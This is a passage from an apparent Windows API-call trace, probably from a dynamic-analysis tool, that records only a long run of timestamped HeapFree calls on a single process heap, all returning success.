hHeap=0x710000) returned 1 [0183.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0183.472] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0183.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.519] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0183.519] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.519] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.524] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.525] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.527] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.529] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.529] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.530] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.532] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.532] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.533] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.534] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.534] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.534] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.535] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.536] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.537] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.538] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.541] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.541] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.545] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0183.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0183.682] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0183.682] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.687] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0183.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0183.702] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.705] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.707] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.707] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.710] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.711] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.711] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.711] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.718] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0184.029] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.030] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.030] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0184.031] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.031] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.033] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.036] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0184.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.048] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.048] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.051] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.051] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.052] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.053] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.055] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.056] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.057] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.057] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.067] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.067] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0184.075] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.075] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0184.075] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.075] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0184.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.509] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.511] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.515] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.515] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.517] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.520] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.521] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.522] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.523] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.523] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.524] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.525] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.527] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.529] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.530] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.532] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.532] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.534] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.534] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.535] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.535] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.536] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.537] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.538] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.538] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.538] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0184.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0184.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0184.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0184.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.133] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0185.133] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0185.133] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.134] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.137] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.137] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.138] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.138] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.138] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.138] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.138] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.138] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.139] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.139] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.139] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.139] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.139] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.139] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.139] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.140] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.140] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.140] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.140] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.140] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.141] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.141] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.142] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.143] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.143] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.143] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.144] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.145] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.146] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.146] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.147] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.148] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.149] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.149] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.149] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0185.149] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.149] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0185.175] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.176] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.176] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0185.186] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.188] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.189] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0185.189] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.311] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.312] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.312] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.313] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.313] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.314] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.315] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.316] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.316] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.317] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.320] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.323] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.324] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.324] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.324] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.325] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.326] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.327] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.327] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.328] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.328] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.328] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.329] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.329] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.330] HeapFree (in: hHeap=0x710000, 